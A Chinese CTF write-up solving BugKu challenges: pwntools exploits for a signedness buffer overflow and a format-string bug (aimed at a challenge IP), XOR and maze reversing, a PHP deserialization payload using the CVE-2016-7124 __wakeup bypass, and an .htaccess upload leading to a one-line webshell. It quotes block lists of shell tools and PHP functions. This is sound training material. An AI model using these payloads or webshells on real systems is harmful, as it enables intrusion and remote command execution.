BugKu Test PWN、Reverse、Web Writeup

注意
本文最后更新于 2024-02-11,文中内容可能已过时。

按我的做题顺序说吧 pwn1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+Ch] [ebp-1Ch]
  unsigned int buf; // [esp+10h] [ebp-18h]
  int v6; // [esp+14h] [ebp-14h]
  int fd; // [esp+18h] [ebp-10h]
  int i; // [esp+1Ch] [ebp-Ch]

  setvbuf(stdout, 0, 2, 0);
  puts("###### Welecome to ctf game ######\ninput your name length : ");
  read_name();
  puts("let's begin guess num game ");
  fd = open("/dev/urandom", 0);
  if ( fd < 0 || read(fd, &buf, 4u) < 0 )
  {
    puts("error");
    exit(0);
  }
  close(fd);
  srand(buf);
  for ( i = 0; i <= 9; ++i )
  {
    v6 = rand() % 9 + 3;
    printf("Round %d , please guess the num : \n", i);
    fflush(stdout);
    fflush(stdin);
    __isoc99_scanf("%d", &v4);
    if ( v4 != v6 )
    {
      printf("you fail");
      exit(0);
    }
  }
  printf("u are great! this is your flag");
  getflag();
  return 0;
}

这里的主要逻辑是,从/dev/urandom中获得一个随机数,然后作为随机数种子生成随机数,然后让你输入随机数,输入10个如果都对了,那就getFlag(),但是我之前对随机数不太了解。我这道题的入口点是上面一个不太让人注意的函数 read_name();

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int read_name()
{
  char s[80]; // [esp+8h] [ebp-60h]
  unsigned int v2; // [esp+58h] [ebp-10h]
  unsigned int i; // [esp+5Ch] [ebp-Ch]

  memset(s, 0, 0x50u);
  __isoc99_scanf("%ld", &v2);
  if ( (signed int)v2 > 0x30 )
  {
    puts("too long!!! u are a hacker!!!");
    exit(0);
  }
  puts("please tell me your name : ");
  fflush(stdout);
  fflush(stdin);
  for ( i = 0; i < v2; ++i )
  {
    read(0, &s[i], 1u);
    if ( s[i] == 0xA )
    {
      s[i] = 0;
      return printf("helllo %s\n", s);
    }
  }
  return printf("helllo %s\n", s);
}

这里看似好像没什么问题,但是我仔细研究发现了问题。 读入长度的时候用的是%ld,这个是有符号的整数。 判断的时候也是有符号的判断,是否 <= 0x30。 问题就在于下面的循环,这个循环中与i进行比较的时候,这个i和v2在这里都是无符号的整数,这就导致了。 如果我在上面的地方输入-1,就可以绕过限制。 但是这个payload需要精心构造。 s[80]这里的0x50的长度肯定没问题,有问题的在于可能覆盖到的v2和i,这两个是在循环中不停变化的变量,我们应该让他保持不变。 所以v2应该是原来的值-1(0xFFFFFFFF),当然如果是其他大一些的数也不影响。 i应该是当前的i不变化,那怎么不变化呢?只能计算一下在这之前输出了多少的长度,然后按照同样的长度写入。 这里要注意的是,虽然数组下标是从0开始的,但是这里数组读入到这个位置的时候,我们要填入的应该是下个位置的下标。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
r = remote("114.67.246.176", 10004)
#r = process('./file_')
#gdb.attach(r)
r.sendlineafter("length :", "-1")
payload = 'a' * 0x50 + p32(0xFFFFFFFF) + p32(0x50 + 0x4) + p32(0x08048A14)  + 'b' * 0x8 + p32(0x080486BB) + p32(0)
r.sendlineafter("name : ", payload)
r.interactive()

pwn2 简单的格式化字符串漏洞。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
unsigned __int64 vunl()
{
  char buf; // [rsp+0h] [rbp-40h]
  __int16 v2; // [rsp+30h] [rbp-10h]
  unsigned __int64 v3; // [rsp+38h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  memset(&buf, 0, 0x30uLL);
  v2 = 0;
  puts(&byte_400EB2);
  read(0, &buf, 0x31uLL);
  puts(&byte_400EC8);
  system("ls");
  puts(&byte_400EF0);
  read(0, file, 0x13uLL);
  if ( !strcmp(file, "flag\n") )
  {
    puts(&byte_400F1B);
    exit(0);
  }
  if ( !strcmp(file, "sh\n") )
  {
    puts(&byte_400F3B);
    printf(&buf);
    puts(&byte_400F46);
    sleep(3u);
    if ( !strcmp(file, "flag") )
      system("sh");
    puts(&byte_400F60);
    exit(0);
  }
  puts(&byte_400F82);
  return __readfsqword(0x28u) ^ v3;
}

要注意的是

  1. 这道题格式化只读入0x31个字节,所以用%hhn写入的话,长度会不够,所应该用%hn,也就是short写入,int的话文本太长了。
  2. 传入的"flag" 16进制内容 要大小端转换一下
  3. 如果要使用这个fmtstr_payload,在x64下要设置一下context.arch,否则传入的是32位的指针。
  4. 这道题直接调试会有问题,用IDA调试可以选择忽略异常。 我这里直接用fmtstr_payload处理。
1
2
3
4
5
6
7
8
# -*- coding: utf-8 -*-
from pwn import *
context(log_level='debug',arch='x86_64',os='linux')
r = remote("114.67.246.176", 10004)
#r = process('./pwn2')
r.sendafter("请输入用户id:", fmtstr_payload(6, {0x602090: 0x67616c66}, write_size = "short"))
r.sendlineafter("输入文件名,查看对应文件", "sh")
r.interactive()

call Shift + F12找到对应字符串,Ctrl + X找到对应引用。 在比较的地方下断点,然后查看比较的字符串内容。输入内容,得到flag

word 先是异或解密

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <cstdio>
#include <cstring>
#include "defs.h"
unsigned char xor_key[] =
{
  0xA3, 0x00, 0x00, 0x00, 0xA1, 0x00, 0x00, 0x00, 0x70, 0x00,
  0x00, 0x00, 0xA6, 0x00, 0x00, 0x00, 0xF3, 0x00, 0x00, 0x00,
  0xD7, 0x00, 0x00, 0x00
};

unsigned char ans_key[] =
{
  0xD0, 0x00, 0x00, 0x00, 0xCF, 0x00, 0x00, 0x00, 0x11, 0x00,
  0x00, 0x00, 0xE0, 0x00, 0x00, 0x00, 0xA1, 0x00, 0x00, 0x00,
  0xB1, 0x00, 0x00, 0x00
};

int main()
{
    for (int i = 0; i < 24; i++)
        printf("%c", xor_key[i] ^ ans_key[i]);
    return 0;
}

我这里直接从ida里面导出内容,解密得到password:snaFRf 接下来选择1会释放一个Word文件,文件有密码,密码从2选项中可以得到。 2选项是一个迷宫,找到迷宫数组然后手动导出。 整理一下可以得到

1
2
3
4
5
6
111111111111
s1.......111
.1.11111.111
.1.11111.111
...11111.111
1111d....111

观察迷宫知道从s进入,然后从d逃出。 wasd控制方向,手动模拟一下。 得到 sssddwwwddddddssssaaaa 输入之后得到Word文件的密码,成功打开文件获取到flag。 迷宫题做多了,眼不花手不抖了,以前手动模拟一次还要做错,以后就hhhh了。 等下写个自动寻路的程序,以后都上自动化了!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#define MAX_N 1005
#define INF 0x3F3F3F3F
#include <cstdio>
#include <cstring>
#include <algorithm>
#include <queue>
using namespace std;
const char bs = 's', es = 'd', ws = '1', ds[] = "awsd";
struct Point
{
    int x, y;
    Point* from;
    Point(int _x, int _y, Point* _from) : x(_x), y(_y), from(_from) {};
    Point() :x(0), y(0), from(NULL) {};
}be, en, ans, pool[MAX_N * MAX_N];
int dx[] = { -1, 0, 0, 1 }, dy[] = { 0, -1, 1, 0 }, w = INF, h, use;
bool vis[MAX_N][MAX_N];
char s[MAX_N][MAX_N];
queue <Point> que;

int check(Point np)
{
    return !vis[np.x][np.y] && s[np.y][np.x] != ws && np.x >= 1 && np.y >= 1 && np.x <= w && np.y <= h;
}

void print(Point p)
{
    if (!p.from) return;
    print(*p.from);
    for (int i = 0; i < 4; i++)
    {
        int nx = p.from->x + dx[i], ny = p.from->y + dy[i];
        if (p.x == nx && p.y == ny)
        {
            printf("%c", ds[i]);
            break;
        }
    }
}

int main()
{
    freopen("C:\\maze.txt", "r", stdin);
    freopen("C:\\solve.txt", "w", stdout);
    while (~scanf("%s", s[++h] + 1))
    {
        w = min(w, (int)strlen(s[h] + 1));
        for (size_t i = 1; i <= w; i++)
        {
            if (s[h][i] == bs)
            {
                be.x = i;
                be.y = h;
            }
            if (s[h][i] == es)
            {
                en.x = i;
                en.y = h;
            }
        }
    }
    que.push(be);
    while (!que.empty())
    {
        Point &t = pool[use++];
        t = que.front();
        if (t.x == en.x && t.y == en.y)
        {
            ans = t;
            break;
        }
        que.pop();
        for (int i = 0; i < 4; i++)
        {
            int nx = t.x + dx[i], ny = t.y + dy[i];
            Point np = pool[use++];
            np = Point(nx, ny, &t);
            if (check(np))
            {
                vis[np.x][np.y] = true;
                que.push(np);
            }
        }
    }
    if (ans.x && ans.y) print(ans);
    else printf("no answer");
    return 0;
}

安慰奖 代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{
    protected $username = 'hack';
    protected $cmd = 'NULL';
    public function __construct($username,$cmd)
    {
        $this->username = $username;
        $this->cmd = $cmd;
    }
    function __wakeup()
    {
        $this->username = 'guest';
    }

    function __destruct()
    {
        if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
        {
            exit('</br>flag能让你这么容易拿到吗?<br>');
        }
        if ($this->username === 'admin')
        {
           // echo "<br>right!<br>";
            $a = `$this->cmd`;
            var_dump($a);
        }else
        {
            echo "</br>给你个安慰奖吧,hhh!</br>";
            die();
        }
    }
}
    $select = $_GET['code'];
    $res=unserialize(@$select);
?>

这题思路: 查看源代码解码出来是backups,想到备份文件。我试了www.zip 等等,没试出来。 但是用burpsuite跑出来了,是index.php.bak,下载下来可以审计代码,发现是一个反序列化漏洞。 结合CVE-2016-7124成功利用。

学到的内容:

  1. %00%00代表是private
  2. %00*%00表示是protected
  3. 可以用\来绕过检测
  4. 可以用 `ls` 来执行shell,反引号内的内容是直接执行shell
  5. CVE-2016-7124,__wakeup() 魔术方法绕过,绕过方法为字段数和实际字段数不匹配。
  6. 魔术方法介绍:https://www.php.net/manual/zh/language.oop5.magic.php 漏洞影响版本:
1
2
PHP5 < 5.6.25
PHP7 < 7.0.10

Payload:O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:13:"ca\t%20flag.php";}

史上最严过滤 上传.htaccess,然后上次jpg文件,最后上次jpg格式的php代码,代码过滤了很多内容,不过可以绕过。 最后shell:<?= $_GET[a]($_GET[b]);

uoload.php代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
header("content-type:text/html;charset=utf-8");
$UPLOAD_ADDR="./upload";
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {

        $file_name = trim($_FILES['upload_file']['name']);
        $content=file_get_contents($_FILES['upload_file']['tmp_name']);
        if (preg_match('/system|eval|assert|create_function|exec|shell_exec|passthru|pcntl_exec|popen|preg_replace|array_map|call_user_func|call_user_func_array|array_filter|usort|uasort|exec|shell_exec|system|passthru|proc_open|show_source|phpinfo|popen|dl|eval|proc_terminate|touch|escapeshellcmd|escapeshellarg|assert|substr_replace|call_user_func_array|call_user_func|array_filter|array_walk|array_map|registregister_shutdown_function|register_tick_function|filter_var|filter_var_array|uasort|uksort|array_reduce|array_walk|array_walk_recursive|pcntl_exec|fopen|fwrite|file_put_contents/i', $content)) {
            die("<script language='javascript'>alert('想传马???不存在的!!!');window.location.href='./index.php'</script>");
        }
        if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) {
            $img_path = $UPLOAD_ADDR . '/' .$file_name;
            $is_upload = true;
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}
?>

<div id="upload_panel">
    <ol>
        <li>
            <h3>任务</h3>
            <p>上传一个<code>脚本文件</code>到服务器,并能成功执行。</p>
        </li>
        <li>
            <h3>上传区</h3>
            <form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
                <p>请选择要上传的图片:<p>
                <input class="input_file" type="file" name="upload_file"/>
                <input class="button" type="submit" name="submit" value="上传"/>
            </form>
            <div id="msg">
                <?php 
                    if($msg != null){
                        echo "提示:".$msg;
                    }
                ?>
            </div>
            <div id="img">
                <?php
                    if($is_upload){
                        echo '<img src=".$img_path." width="250px">';
                    }
                ?>
            </div>
        </li>
    </ol>
</div>
0%